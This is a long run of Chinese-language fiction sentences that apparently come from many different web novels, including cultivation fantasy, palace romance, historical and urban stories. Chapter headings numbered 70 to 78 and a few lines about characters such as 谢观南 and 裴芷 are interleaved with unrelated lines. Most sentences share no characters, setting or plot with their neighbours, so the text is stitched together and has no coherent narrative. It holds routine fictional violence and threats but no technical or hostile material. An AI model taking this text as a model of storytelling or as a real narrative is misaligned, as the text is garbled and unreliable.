这星网看起来人畜无害,实则不然,在离近林盛不足半米之时,突然星光大震,一股恐怖威压瞬间袭来。林盛也不慌张,体内轮回盘运转,青纹长剑瞬间出现虚空。但见剑花纷飞,斩情剑诀凌厉异常,一招穿云直击星网。
墨抒让纪楠给自己揉揉肩膀,有些昏昏欲睡的时候,闻到了一股烟酒的味道。
羊神皱眉,双臂环动,千臂延展,周身气息诡异,肖寒又是一拳轰来。
本抱着看戏心态的众人,均是仓皇四散,他们怕,管你王侯将相,商甲富农,在这藏月大陆一人之下万人之上的太子面前都是随手可碾死的蚂蚁。
所以他天宫之地,他多半是不愿意去的,当时他便多数时候都在这三界之中多处往来。
施展出背剑龙后,宁不悔施展出了神龙行,在雷龙血脉和背剑龙形元气的加持下,神龙行使得宁不悔速度变得跟鬼魅一样。
未来的房价会疯涨,如今正是囤房的最佳时机?自己能不能先弄几套房子囤起来住?
只见熠熠生辉的骄阳里,一人长衣水袖,发髻高束,面目皎如寒月。
我低下头来,这一刻我很想问到底我们之间怎么了,可是我终究是懦弱,我觉得我还是要赶紧解开这样的困局。
现在的我确实很需要救生圈,哪怕现在给我一根稻草,我都觉得那是上天莫大的恩赐。
波兹曼州的夜空很干净,无数繁星像无数只冷眼,毫无表情,毫无情感的看着这平凡星球上发生的所有平凡的事情。
我尴尬地笑了笑,不知为什么脸有点微微发烧,好象被人看穿了什么见不得人的心事似的。
难道我的这个世界真的是被某个上帝创造出来的,我只是被囚禁在里面的玩偶?
相比较神不知鬼不觉的灵魂神通,秦昊还是更加愿意面对这些身躯僵硬的尸体,至少他不会感觉到无力。
他们毕竟是走了一天队列的人,走队列这种事看着容易练着难,而且很累。所以这帮人又开始做负重训练,吃不消是难免的。
众人目光看过去,却见那修士往前走了一段距离,刚好越过一个弯,可以看到血河从蜿蜒处流出来。
“谢师父成全!兰兰不怕辛苦!兰兰不怕辛苦的!”刚被李天扶起的她,又跪在地上磕起头来,内心的激动无语言表。
无论斯博帮不帮自己,唐云现在都有一种分身乏术的感觉,因为就算有南郭信和班尼迪克特帮忙,那个真正动手的人却依旧是自己。
那怪人飞出之后,立刻用一种恐惧的眼神看向胡傲,口中唧唧喳喳不知道在说些什么。
“那黑甲将军直接一掌崩了他!不给他任何机会!”焚少龙神色凝重道。
第一卷 第70章 小裴氏必须死
年轻人顿时面如死灰,想说什么又总是张不了口,汗水将头发都浸湿了。
如果以后丫环多了,她是不能单独住在这间房里的,而是要搬去固定的下人房里,卿宝外面那间房,只得由值夜上宿的丫环住。
他到国外好几个月了,在这好几个月里,他一出国,仿佛一夜之间就懂事了,虽然还是一如既往地贪玩,但是他懂得节制了,他也懂得照顾自己了,他知道离开了父母,凡事都得靠自己。
田川理解她的意思,这么多年来,他和章楚涵走得很近,王颖也免不了有点误会,但总的来说王颖还算是大度的,并没有在这个问题上纠缠,如果王颖要是纠缠了,他和章楚涵都不好看。
就在蛇王腾跃而过的一刹那,迎面一张张开的门帘一样的东西,蛇王正要有所行动,啪!门帘之中闪出一个拳样,只见,蛇王口中鲜血飙射,三颗牙齿倏然飞扬。正在空中的蛇王倏然落地。
“麻烦搞清楚这里不是移江,你也别拿你的身份说事了君少,我们现在是被沈寒落绑架期间,反正也。”莫溪说到这里卡壳了,被沈寒落绑架期间,那沈寒落在哪里?现在是什么时间?这又是什么地方?
说着,两人一起看向脚下的这个法阵通道,炙热的气息不断地扑面而来。
“你地理老师上课的时候,你一定没认真听课。”徐寒风下了这么一个定义。
艾莉斯目光一冷:“看來你是选择狼王之剑了!”她将雪剑一收,积蓄着剑势,周围气温越來越低。
“你就失望吧,但我绝不会罢休的,我就不信你能阻止得了我?”冷冷扔下一句,欧阳灵风冷漠转身,离开了内堂,在门口无视张捕头而去。
巨蟒慢慢的靠近猎物,然后血盆大口又是一张,准备再一次将猎物吞下肚子。
毒鳝龙这玩意习性相当糟糕,想要抓,只能等它自己上门,不过这都是没准的事情,谁知道要等到什么时候它才可能会上门呢。
“看来,这第五盘棋得改日再下了。”严贵妃手一松,手中的棋子‘啪啪’的全落到了棋盒中。
何婉芸的肚子咕噜的响起了,宁拂尘这才记起,原来他们从昨晚到现在一直没有吃饭。正好是晌午时分,两人在一家名叫龙贝特色菜馆找了个位子坐下来。
股股蒸腾热气自奇行种左眼升起,他咧着嘴,用仅剩的右眼看向迪奥,再次改变了攻击目标。
果不其然,李谈在城外转悠时,便看到了轻车简行的安平君回到临淄,从雍门入宫面见齐王那一幕。
现在整个桃花秘境还有很多地方没有被占用到,这些空旷的地方闲着也是闲着,如果能够利用上这些土地,当然是有很大价值的。
远在东北的六爷,听到这话,顿时气不打一处来,恨不得将这家伙给弄死。
无论是谁,实力多强,地位多高,宗门的规矩还是要老老实实遵守的。
人的繁殖能力算是很强的,几千年前的四十万人,到如何可能已经发展成几千万人的王国,可遗民三族的人口,却减少了二十倍,可见神对遗民三族所作的事情,非常不满意。
时值今日,当朝人皇对于这条黄金角蟒,仍旧是恋恋不忘,每年都派遣禁军进入东郊深山寻找这条黄金角蟒的踪迹。
在旗官挥动的晨锋战旗指挥下,圣骑士们带头发出战吼驱动跨下的奎尔多雷战马向着燃烧军团的侧翼发起了冲锋,其他各大军团也分别派出骑兵部队跟随在晨锋军团身后开始冲阵。
巨型蚂蚁用强有力的前肢当做武器,砸向了冲来的死灵骷髅,可惜攻击轨迹太过明显,被旺财全数躲过,前肢轰在了地上,造成了两声爆响。
按照汇率,一块下等宇宙结晶可以兑换一百万尤斯,足以抵得上一个上等水品的凡人工作全年的收入。
进了包厢之后,曹金亮显得很敞亮。说完这话之后,便很自觉的坐到了一边靠墙的椅子上~厅中那张八仙桌留给贾琮和李焯。
贾琮这番话也是实话实说。在这时代,你救一些平民百姓还真算不上什么大功劳,完全比不上救一个大官,更不用说在军事上大胜敌国了。
【侏罗纪公园】一天比一天热闹,游客的嘴巴是最好的宣传工具,一传十,十传百,现在【侏罗纪公园】已经成为了世界的焦点。
“林兄,现在可以打开丹鼎了吗?”武组的那位老者试探地问道。
这一次,借着马灯散发出的明亮光芒,往石棺里面看,只见石棺里,血浆泛着红光,波光闪闪,让人看上去,既觉得恶心,又觉得恐怖。
他们先去出入境办公室,取了护照,然后又来到户籍科,拿到了身份证。
一支支尖锐锋利的青铜箭,箭头闪着星星点点的寒光,像是狂风暴雨一样,朝着我的方向,铺天盖地的疾射过来。
“狗子,那边桌子上坐着的那人,看起来好像有点眼熟!”三胖子弱弱的冲我回答道。
此时众人的药丸分配已毕,鬼脸人又在五个黑衣巨汉的簇拥下回到了高台之上。
那青年和尚仍是不动声色,只是原本合十的双手也是化出一指,轻轻一点。截住了那诡异的一指。
至于那最后一道菜,则是有些莫名其妙,因为那画上只有一个方块,没有名字,也没有其他的任何讯息。
第一卷 第71章 你杀不了我
“禀太后,印信之物已然收回兵部。”说完理仁并没有站回去,还是杵在那里。
那种失言独断的尴尬,忆起犹新,再也不敢重覆旧撤,静静地看着陈星海一针针扎入病人身体里,病人每扎入一针全身随之抖一抖,肤色变一变,见陈星海在扎了九针后停止施针,目不转睛注视病人。
流星自是如含笑所说,对这慕容静怡一见钟情,此刻有机会撩拔,胆气一壮之下,哪有不使出他的浑身解数,以博美人心欢之理?
总而言之,言而总之,这许多花间艳事,正是让皇家公园成为龙都最热闹的名胜风景之一的原因。
至简?狼宏翔沉静在这种简单之中,心中想起了曾经所知道的一句话‘大道至简’。什么是大道他不知道,但这种最简单的理解难道就一定是不可行的?
王世仁说得好像很强势,但只有他自己知道,他是不敢面对大熊和裴欣扬的联手,一个三星斑驳位的裴欣扬就不是他现在可以对付的,再加上一头三阶妖兽,要是他今天真的迎战,绝对会是他重伤败走,可他能走吗?
“你们柳姨看着年纪也不大呀,你们怎么管她叫姨呢,应该叫姐才对吧?”叶白则开始套话。
他听了含笑的表态之后,态度好了许多,说起话来,也是不厌其烦的解说,深怕含笑听得有所遗露一般。
“那这么办吧,如果我输了,给你一亿,如果你输了,刚才你踹我的一脚,我要还回去,然后为了避免你再到处骗人和逞威风,我要挑断你的手筋和脚筋,怎么样?”于辉提议道。
亚东在一刻之间已经做下决定,对众位拼战中的兄弟大声吼道:“兄弟们,我要和你们一起同肩并战跟这些青蜘蛛不死不休。”一声吼完,亚东立刻冲出兄弟们的包围圈外,加入最疯狂的拼战之中。
这束洁白无瑕的百合花和火红的玫瑰放在一起,看起来一点点也不起眼,甚至被玫瑰的香气给掩盖住了自身的芳香。
城显不乐意了,这死丫头,就不能讨好讨好他么,于是这货一生气,把一桌子的饭全吃完了。
“嘀铃铃”,那个高个子男人风衣里的手机响了起来,他接起了电话。
“什么?在我之前还有人见过你们?”乐天有些吃惊,他不相信还有人比他更强,在冰与火的折磨下还能来到数千丈的海底,不被压碎。
“大客人这边请,让我来扶着你,和尚不是经常找尼姑的吗?真个是物以稀为贵。”她们甜甜的笑脸,美美的喉咙,还有那迷人的眼眸子,风韵的身材。动一忸怩,一步步风骚的性情。
“当年天师惨糟她算计,使得盛极一时的龙虎山天师教四分五裂,今天是我们与她来一次大决战的机会了,天下各派齐集皇城,诛灭武周,复兴大唐是江湖各派共同的心愿。”杨明昊忍着疼痛,心有不甘的说道。
“老爷爷,别动先喝口水,”老爷爷正打算起床,陆军叫住了他。陆军打了一杯开水放在老爷爷的手里。
他们两个要强行把钟辉带走的意思,现在他根本就不把两人放在眼里,就与他们比斗起来。他已经把老玩童新创的七步连环脚法,练到如火纯青的地步。不一会儿他俩兄弟被钟辉打倒在地上。
战与火的时刻,人生能有多少时间像现在这样疯狂,激情和战火纷飞的时刻,硝烟弥漫。
那个家回不去了,可是伊林彰还在尽力为她保留着这些东西。伊曼忽然觉得这么多年她真是错了。
吃完饭,荣少琛带她来到离皇庭别苑不远的名门轩秀,还没进门,经理便热情地迎了上来。
随后郑重面色不变将太乙五灵剑收回,接着驱使翎风舟朝云霄城激射而去。
“白痴,刚才你差点闯大祸了!”被称之为大哥的武者沉声呵斥,他做为“试炼分队”的地级武者之一,之前因为看不清吕天明的修为惊出一身冷汗。
眼见门外的侍卫还在,抿了抿唇,用眼神示意侍卫跟上他的脚步,途中他从侍卫那里听来了事情的前因后果,狭长的丹凤眼半眯。
就在这时,她被反应过来的荣少琛冲上去接住,并迅速拥入怀中。
“这怎么可能呢,夜月泉早就已经填平了。”幸田不可思议的叫道,此时的夜月泉早就因为开发的原因,被填平了,并且盖起了一座高楼大厦。
他蹲在地上想了片刻,立刻跃了回去,在蓝袍人适才站的位置停下。刚才那个蓝袍人走到了这里,他便回头发暗器,那么蓝袍人消失,也就是在这个位置。
第一卷 第72章 请母亲病一病
谢观南忽然放开钳制她的手,裴芷跌坐在床上。
四目相对,她瞧见了他眼底深深的惧意。
许相梦信心满满,胖婶却是十分不乐意,民不与官斗是自古以来的活命法则,她不敢逾越,而那家再有财恐怕也不敢。
我一番化妆又去了那家奇怪的妖胎家中,我在门口仔细听了一会,咦,没有动静耶。
百里水月和沐晰晴一起去了主厅坐下,先到的暗卫已经烧好了开水把茶沏上了,这会儿温度刚刚好,沐晰晴接过来一饮而尽,清茗轩的味道,肯定是百里水月的手下自带的茶叶,不过她对茶叶研究不多,品不出来是哪种茶。
千璃芮将拽着她袖子一步不离的男子,好声好气的红了半天,才被放开。
不过准头也是非常的差劲,眼看着我的飞刀射过去,我低头继续藏起来,听到飞刀射到清脆的东西,看来是没有击中目标。
“老头”没有回答,只见它微眯着眼睛笑了笑,直接绕过曹雪花来到了“沈胆大”面前。
许相梦终于来到戴子卓所在的牢房前,她带来的一丝光亮闪过戴子卓紧闭的双眼,他蓦地睁眼,恍然神思抬头,看见许相梦的脸在灯光下,凝眉疑惑。
“唉!我也不知道是什么病!只是头比较烫手,估计是发烧。现在都烧糊涂了,还胡乱地说一些我听起来神乎其神的话。”李忠义说。
“杜姑姑使劲打了那个什么王子一下,哪想到这个王子皮糙肉厚,竟然没把他打晕。
乔暖化完妆之后又在后台等了一会儿。等到节目开始录制。程鲁豫已经在前台开始说一些开场引言了。导播这才让工作人员跑过來叫乔暖过去。
然后他就看到李玉芸慢慢从背包中掏出一颗灵石,只不过灵石有些暗淡。
这两名守门弟子什么时候见过伍晟这般样子,当下就赶紧对着李玉芸躬身拱手行礼。
苏九追上李二的时候已经是在皇宫之外了,此时李二已经是和长孙皇后他们会和了,有着侍卫的保护,那些后宫的嫔妃虽然神色慌张,但是并没有受伤,毕竟郭延川的目标是李二,并没有对他们动手。
刺客一系的职业者,不论是最基础的刺客,还是隐藏职业中的衍生者,他们的体质方面都不是强项,甚至于,最顶尖的传说职业,他们的职业补正也没有一项‘体质’。
“国王,您故意让他们离开,是有什么话想对我说吗?”陆奇直接问道。
薛仁贵看着遍地起火,灾民无数,地上叫骂的百姓,不由得心中百味交杂,想不到自己还是来晚了,派了一部分将士再这里帮助灭火,救助百姓。继续提起来了自己的银剪方天画戟。
眼镜男两只眼睛如同熊猫眼,面容疲倦,让人担心他下一秒就会猝死。
“臣等告退!”三人恭敬地行礼,然后退出了太极殿,往皇宫之外走去。
雾玫镇里的居民大多是魔族,魔族的眼睛是翠绿色的,他们的身体里流淌着疯狂的魔血。魔血沉寂时,魔族看上去与人类的差别不大,然而一旦魔血觉醒,这些绿眼睛的家伙们就会立刻魔化成为可怖的恶魔。
第一卷 第73章 肮脏手段
刹那间,整个万仙岛所有人都傻眼了,所有人几乎都怔住了!而原本被灵空已然抓住的厨帮等“叛逆”如同见到大救星,忍不住叫喊了起来。
潘若晴喝的很多,她的身体很柔软,此时全部贴在了周林的身上。
于是街坊们凑钱给张老头做了丧事,并交给民政的工作人员,以三无人员的身份,送去火化,集体埋葬了。
我轻声告诉她,别怕,我在呢。斜眼瞥了她一眼,发现她正用自己的双手捂住眼睛。这下子我就惊了一下:如果孟冬雪的手在捂眼睛,那抓住我的手,是谁的?
他试图动之以情,晓之以理,从民族大义,到国家兴亡,到祖国未来,再到你们是祖国的花朵,全校几千学生的未来,以及祖国未来的发展就系在你身上了,等等一大堆大道理来说服冷雪瞳。
“哟,这不是我孙子吗,怎么突然间来看我了?”我刚刚喊完,就听到爷爷的声音从道观里传来,带着丝丝惊讶和高兴。
就客观而论,她真的蛮漂亮的,皮肤很白,身材挺好,气质也不错,夏新瞄到陈东给打了88分。
他瞪大了眼睛,惊叫一声,只见那两个周林竟然同时从他的身边穿了过去。
然后我一屁股坐在地上,哈哈大笑起来。她睁开眼,满眼含泪,可怜巴巴地望着我。然后哇的一声哭了出来,并一下子伸手抱住了正蹲在床边痴汉笑的我。
说是好汉,其实只是叫着好听而已,实际上大多是些走投无路,又或者活不下去的百姓而已。
“江先生,我本来不想打扰你的,但是江游说他有一个哥哥可以替他还债,没办法必须请你来。”老大吐了口烟说道。
“总之现在时机还不成熟。”她还没有勇气,告诉她曾经失去了一个孩子,还有关于他兄长的事情。
说到这里,我又忍不住回想起下午路旭东那个失望的眼神和口吻,心里撕扯得像要裂开了一样,痛得几不可抑。
队友们全都围了上来,穆里尼奥说道:“好了,今天的训练到此为止。
她的确是非常生气的,顾东玦这么优秀的儿子,一直都是她的骄傲,她何曾大声呵斥过?这是第一次。
我本来想学着他的霸道以吻封唇,让他什么都不要再说,什么都不要问,可是因为看不见,我连接吻都能闹出事情来,我狠狠一触,吻在了他的下巴上,这哪里是吻?直接撞上去的好吗,嘴唇和牙齿都好疼。
也就是此时,电话那头的的阮云霄和雷山,品着茶,是坐在天台上,像是等待着日出。
我与他对视着,只觉得他凌厉的眼睛像是一根针,一直扎进我的眼底,让我忍不住的一缩,心跳如鼓。
顾东切好了茄子,在茄子上撒盐腌制,然后开始将蒜瓣和红椒、姜切成碎末,他做事情向来认真,这次两人又在暗地里互相较劲,不想认输的他更是投入十二分精神。
随着梁宇的娓娓道来,所有人都吃了一惊,此事牵涉甚广,一旦成功,大陆上的形式将发生天大的变化。
“张英夏,你赶紧过来,老……师有话问你。”龚莎原本想说“老娘”结果发现这不是自己地头,生生的把字咽下去,换了一个师字。即便这样,依旧把张英夏吓了一下。其他两个妹子也秒变鹌鹑。
天空抽了冷气,背部他是看不到了,但能想象出已经像是龟裂的土地一样了,不同的这是人肉!!
“嗷!”犀牛王在接触到的一瞬间知道自己轻敌了,而且能感觉到一股强烈的危险,却已经来不及了。
其实也并不算他们胜利了,当他们用一往无前的劲头冲过去的时候,和意大利军舰发生了猛烈的交火,之后,意大利军舰在挨了炮弹之后,就让开了。
说完,他双手的力量忽然加剧,要在一瞬间将兔子的脑袋给拧下来,是的,纪子龙的行为激怒他了,他要用实际行动来惩戒纪子龙的蔑视行为。
可是其他人的一番插科打诨,尤其是最后邝毅的那一句又是迷糊的提问,但又是清楚了表达了其他人的“真实想法”的话,作为一个点睛之举。着实很是巧妙。
老者身上的气势陡然间爆发,包围于他身旁的黑袍人突然被震飞。
不少观众忍不住站起身,拼命鼓掌叫好,平时见过西班牙斗牛,什么时候见过斗鸽子?
而送下了她们两个之后,段龙也就打算回家去了。而在路上等信号灯的时候,他拿出烟来叼上一根,然后听见手机响了,就拿出来一看,发现是琉璃打过来的,就抽了一口烟,然后接听了电话。
他这样说,梁飞也不好再接话,老板和一娴姐年纪都比他大,感情这种事,他也实在没什么好插嘴的。
那一旁的三木,听着两人,是肆无忌惮的,就是谈论着,是要怎么处理他,那脸色是变得,极为的难看起来。
不过,这让苏明也是乐得如此,毕竟穆诗姗和紫魅都是炼气境的,尤其是紫魅,还是一名妖族,那爆发出来的实力绝对比寻常的炼气境还要更加强大。
这种自我认知已经二百多年了,凡间这一十九年也不会改变很多,我还是个宝宝呢,怎么能养育另一个宝宝。
“我说,六皇兄昨夜喊的那般开心,今日被罚的也不怨!”她继续幸灾乐祸道。
那上面的人,显然是不怎么相信,对方是在这个时候,就是摧毁了这个洞口来。
祁睿泽疼惜又爱意的搂着韩瑾雨,围着产室周围,慢慢地走着。
突发变故,斋堂里所有人都放下手中筷子紧张起来,大夫人离的很近连忙起身观察永和公主状态,喊过方丈让他速速找来寺庙里的大夫。
第一卷 第74章 救我
暴雨如注,风雨如晦,谁也不明白为何初夏会有这么大的雨。像是天公也在愤怒,愤怒世间暴行累累,肮脏不堪。
项七果断地在尤鱼氏和尤因氏氏族部落较偏僻的区域购买了大量地皮,准备升级店面之用。这些地方虽然商业并不发达,交通也不便利,一旦商业发展起来,服务器给的配套设施就会增多,是可以发展起来的。
苏星一行人随后便离开了升龙城,遁光飞了几百里,落下附近一座偏僻的海岛“鬼鬼祟祟还要跟到什么时候?”,苏星回头,平淡的质问。
开始的时候,人们还是对此喜闻乐见的。但到了后来,谁都知道,在空间虫洞的附近的,有一股庞大的力量在变的越来越惊人。
是将体内的闪电释放出去的时候了!董青双手交叉抱在xiong前,青白sè电光闪烁的身体横着冲出,旋转形成了闪电狂流,迎上了在空气中拉出无数幻影,飞上来的赤红sè炽热光团。
陈明洛跟蒋军和许阳他们凑在一块儿,从宿舍里面拿了不锈钢饭盒,然后在餐厅里面排起了长长的队伍。
不过再往里走,就没有发现警卫的身影了,倒是来到实验区大门处的时候,就发现这边儿大门紧闭,连个用钥匙的地方都没有。
从地上摇摇晃晃爬起来的方杰,脸上露出了凝重之色,他万万没想到对方居然会有后招,先前掌上明珠左掌打开的时候,方杰就已经抱定了两败俱伤的打算,只是没想到,后果比他预想的要严重得多。
“应该还是不错的——”陈明洛就把晚上发生的事情都简单地给萧名学说了一遍。
领头的牧师刻显得非常平静,让刘天鸣这样的大忙人带他们二十分钟,已经是非常奢侈的要求了,已经连升十多级,该见好就收了。
第一眼印象不好,第二眼在这里的印象同样不好,注定黑疯子是一个悲剧。
向来仗着皮糙肉厚的蛇人族强者面对扑面而来的三个烈焰腾腾的天乌,阴翳的眼神中充满了忌惮之色。
抓了他之后, 不但被他抢了身上的各种宝物,甚至还莫名其妙的来参加气运沐浴这种试炼。
众人纷纷点头,平山的尸体出现,所有人的心头仿佛蒙上一层阴霾,压抑的让人喘不过气息。
人,不少急性子的好事之徒,顿时满心急切了起来,直到他们再次等了百余息,甚至即将等得不耐烦之际,擂台之上,这才响起了一道无比冷厉的声音。
谁也没有看清楚刚才一瞬发生了什么,就连一峰首座念尘离方才也仅仅是觉得夏天生的动作突然一顿,随后叶枫就掏出了黑殇剑,一剑制敌。
空中的虚无生愤恨欲狂,却是不敢再多说狠话,只能在天神兵最后残留的神光中冲破大阵的禁制,远远遁去。
他们逼着宫无邪学狗叫、钻裤裆、不给他吃饱饭,有时候还会把他关进臭气冲天的茅厕里,然后从缝隙里往进泼秽~物。
曹格也被杨浩凶悍的腿风所震惊,一时之间竟有些失神,这种战斗稍微走神都有可能致命,后者紧紧的抓住他的破绽,一只脚对着他的咽喉勾扫而去。
第一卷 第75章 解
一盆盆凉水倒进浴桶中,一次次冲刷着桶中的娇躯。每一次冲下去,那水中柔软的娇躯便轻颤一下。
大半个时后,同庆楼的设备已经被看了个遍,还是上次那间华丽的包厢里,陈奇和林沧熙相邻而坐,却谁也没有动筷。
他头颅抛起,被斩成了两半,一双大眼中有绝望有怨恨,还有一丝不甘心,没想到一族强者,竟然在这里被杀了让人不敢想象。
封逆并非是无意义的高速变化,而是每一次变化都针对剑光的弱点。那明耀剑光再凝炼,终究是真气结合剑意而成的剑光。
“这个跟我们讨论的有什么关系?”天山雪莲问道,这回他被众人鄙视。
这是一场惨烈的搏杀,双方转眼间就杀到了一起,针尖对麦芒,狠狠撞到了一起,天地都要被轰杀的崩塌了一般。
现在的情况何其相像,杨奉有些兵力优势但是要留下好大一部分守城,不足以击溃炮大有,但是如果炮大有身陷险地,杨奉一定会抓住这个机会全歼炮大有。
白衣一尘不染的楚鹤意再出现时,已是他为人所熟知的平淡自若,任是谁也再无法从他脸上看出一丝异样的情绪。
铁扇公主同样想到了这个问题,自己这一扇如果是凡人,肯定就把三魂七魄都扇没了。
奎苍身躯高大,像是一头魔牛一般健壮,将奎砻和一行铁骑放下,大步一迈便来到了半空,仰天长啸浑身都散发着狂猛霸道的气势,跟一座巍峨的大岳一般横在半空中。
也就是想一想,铁扇仙的臭脾气,自己还是少惹为妙,一伸手,灵气把还没来得及准备的铁扇仙捆住,至于那芭蕉扇就先收起来了。
四周围的空气似乎一下子变得炽热了起来,大量的火系魔法元素聚集起来,瞬间化为了漫天的火焰,城门方圆数百米的范围内全部都在爆炎火雨的笼罩范围内,对方的魔法师虽然极力的挡开结界。
崔明珠的眼睛不再是平日里那样的雾霭迷蒙而是闪着吓人的亮光。那光亮的甚至让在她面前盛开的夜昙也微微的收缩了起來。
但是身后的人明显没有在听他说什么,那人的手已经直接扯开他的衣服。
“李婶,这些锅我留着真有用,现在说了您可能也不懂,过两天一定给您解释清楚,”陆梦笺不知从何处取来一块抹布,在光下仔细将破锅周边的锈迹擦干净。
“奴才在!”嬴政对于赵高的宠爱,那可不只是让他一直追随在自己身边这么简单,而且还给了他最大的权力,就连赵高背着嬴政干的那些坏事,他都视而不见。
“川北离凉城那么近,若真如外人说的那般凉城刁民风甚,难道他们就不怕连胡匪都闻风丧胆的定西将军吗?”韶华一双眼睛亮得发光。
龙梦心底思索的同时全力运转御天诀,催动自己体内的仙元力将侵入自己体内的魔元力驱逐出自己的身体,魔元力龙梦可没有想过吸收,一旦出现什么纰漏,那必将走火入魔,自爆而亡。
博衍好笑地看着韶华半睡半醒的眼睛,耷拉着脑袋,看似含羞的模样,顿时觉得好笑。
第一卷 第76章 捉摸不透下一步
“哗啦”谢观南眼前一黑,旁边的花瓶被推倒。
青书赶紧去扶,他好不容易才稳住心神。
“快,快……”
“中国佬,你确定不是头脑发热,这么晚了要怎么去拉斯维加斯?“杜鲁尼克还是觉得这事有些不靠谱。
她生自己的气了,大概是因为篆儿的话,不但不会问自己要四两银子。
当然,不管对方是植物还是动物,欧德姆布拉超距通讯中心给出的资料必然是不会有误的,他们就是一类以水为介质的核酸/蛋白质类型生命体。
这样的回答让燕青和梁红英十分义愤填膺。然而不收就是不收,任何人自打一开始,就没指望过高方平做亏本生意的,那真不是他的风格。
而后,赤霄剑在九鼎、龙气、紫微帝星星力的作用下,直接化作一条赤色神龙,盘旋刘昊周身,威势赫赫。
以便看看什么题材,什么内容更能得到世界上主流电视观众的喜爱。
刚走没多远,就看见吴大少爷正坐在石阶上,手里着个树枝,在地上不知写些什么。
部落前还复宁静,村中虎面人这才兴冲冲的走出,看东采奇、熏炉子、敲鼓子三人,目光崇敬;再看盘蜒时,则满是好奇之意。
“好吧此点为父也不说你们心黑了。我儿只说关于羊肉的问题,这是在汴京的敏感问题。长时间养成的习惯和思维,可不是随便就能颠覆的。”高俅道。
“是。”明琮凤眸浅瞄了眼错愕地曲璎,非常干脆地直接认错,倒弄得曲璎满脸通红。
听到“手术刀”三个字,容瑾眼里有道异样的光芒闪过,稍纵易逝。
赵明月抿唇含笑,原本只粗粗掠过衡姓公子的视线转为细细打量。
两人低低应声,自是明白摒除牵念的紧要性,只怕自己做不到心随意动,无法斩断诸多牵恋。
讲真的,‘毛’疯子这个地方真不是人住的,‘阴’暗‘潮’湿不说,这他娘的楼道走廊的路灯还一闪一灭的,看着就怪瘆人,多住几日说不定都能吓出‘毛’病来。
一遍一遍的无人接听的提示,让她担心的来回踱步,甚至忘了主动跟莫以天视频。
萧宝夤最大的担心发生了,就连他都没有想到事情会往这种方向发展, 为了被当成借刀杀人的刀, 萧宝夤不得不一面向尔朱荣送去“乞罪信”, 一面搜罗各类奇珍异宝,向洛阳的尔朱契胡进献。
是不是我早一点,早一点告诉父母,告诉他们自己的性取向,是不是最后的不幸就不会发生?
林晓沫披着莫以天的衣服,只顾自己低着头往前走,身后有人喊莫以天。
磕磕绊绊完成学业后,一毕业就考上了当地乡镇上的政府公务员,当时想着可以离家近照顾外婆,没想到好日子才过了几年,外婆摔了一跤突然离世,她办完丧事后,伤心过度,昏睡过去后就莫名其妙到了这里。
不过,如果有谁想要一个更加强大的通灵兽,想等到自己的实力更加强大一些再说的话,那长辈们也不会勉强。
直播中看到这种操作,是真的会浑身起鸡皮疙瘩的,仿佛灵魂震颤一般。
第一卷 第77章 你睡着后我再走
裴芷用完早膳,换了伤药便去睡了。
这一觉睡到了晚上,丫鬟看了她几趟,见她睡得昏昏沉沉的也不敢去喊。
裴芷一睁眼,满目黑沉沉的。
虽然对节目的具体情况,还不怎么了解,但是麦艺也大概了解了节目的流程。
或者说是以七情六欲为根基,以气泡内天道怨念中的时光痕迹为引,造化出一批曾在这方世界留下足迹,惊才绝艳的强者。
唐玲一直被费洛泽护在电梯的角落的,出电梯的时候,却被一个陌生男子摸了屁股。
麦艺旁敲侧击,不断地套话,可是这老王却依旧是守口如瓶,关于工地的事儿,却一个字都没说。
月儿吊着药水被送入普通的病房被,面色已经缓和不少,不再泛青,但脸色依旧苍白,表明自己刚刚发生过了什么。
短短半刻钟过去,整座大阵已经彻底化作了阴暗的色调,处处充斥着鬼哭之音。
另外底层员工还有一定的粘性,他们能够黏住中层那些员工,让他们也不从公司撤离。
最后白楚蝶是怎么回的自己的院子已经记不太清了,后来迷迷糊糊发起烧来,白楚蝶还是有一点印象的。
而事后蒋琬也不满足于只在心里偷偷诅咒着乔一媚会落得多坏的结果。第二天一早便打电话去了警局,明里暗里都表示着一定要重判乔一媚。
原来早在水伯将彬琪的事情托付给羽荒的时候就已经教给了羽荒一个特殊的道术,这道术是一个纯粹的魔道功法,只有精纯的魔气支持之下才能够施展,而且非常的耗费魔气。
刘双喃喃的说完之后御剑飞向西境的方向,她知道现在已经没有挽回的余地了,自己明明知道是错可是没有办法回头了,只能这样一错再错的错下去。
看似平静,实则,恐怕任何一位大统领进入这片范围,都定将着道。
“林队长,我为整个华夏感到幸运,能够收获你这样的人才。”丁老严肃道,轻轻地在林轩肩膀上拍了拍。
他居高临下,手里的弯刀,闪烁着锋利的光芒,直接朝欧阳雪砍了下去。
最后五分钟,已经两架货机升空了,其他的几个也都等在跑道上,准备依次升空。陆离就在最后一架的客机上,为了让重量更重,舱内塞填许多东西,包括生活垃圾。
花千骨与浩白都并未第一时间轮上,而是先看起了其他人的比试。
周天河从地面飞了起来,但还没有飞起多高,苍进空发出一道苍空意境,周天河发出一道愤怒的咆哮,心神沉浸在意境中,身躯失去了控制狠狠的砸在地上。
又是半个月过去,一万颗法则晶石基本上被陈奇吸收了八成。数千颗法则晶石全部变成了能量进入脑海。脑海中九颗法则光团无比浓厚。
原以为兰基和神族的两位会在这边的,为什么没有出现,又或者已经逃走了。
海风穿过树林,将棕榈树吹得摇曳轻摆,发出沙沙细响,配合着远处的海浪声,共同组成一首海与天的自然圆舞曲,让人心旷神怡,仿佛忘却了一切烦恼。
双儿先是一愣,接着又呜的一声哭了起来:“大骗子,天天骗人!”说着又要关门,张三连忙堵住,双儿也不理他,扭头背身坐在床头生气。
第一卷 第78章 他是大恩人
“大人?”
门口有人唤。
谢玠手停在半空中。他瞧见奉戍正满脸疑惑瞧着自己。
他不动声色放下手,淡淡问:“什么事?”
奉戍瞧见谢玠身后好像有个女子披散着长发,只露出一小片雪肤,一下子就明白自己大概是做了蠢事。
六大宗派的宗主各有本领,而最让人闻风丧胆的,无疑是温若流和他的仙器藏锋。不仅因为他处置魔族人的态度最为酷戾,也因为魔族所引以为傲的自愈功能,在藏锋造成的伤势面前,变得不再管用了。
或者说,那种欲念刚冒头就被叶重的潜意识瞬间灭杀,不曾体现出来。
林艾往上一看,白塔上方用来牵引飞行机甲降落的灯还亮着,只不过现在看起来有一种诡异感,让林艾一时不知道该怎么办。
但是面对手持枪械的军人和警察,他们只能安奈处心中的好奇悻悻离开。
之前已经说过了,还有一件隐匿气息的重器,也是半步至强之器级别的。
丝绸月光之内,习习山风之间,南丞宗彻底灭宗,这是腐烂到了心灵最深处的险恶歹毒,岂能怜悯丝毫。
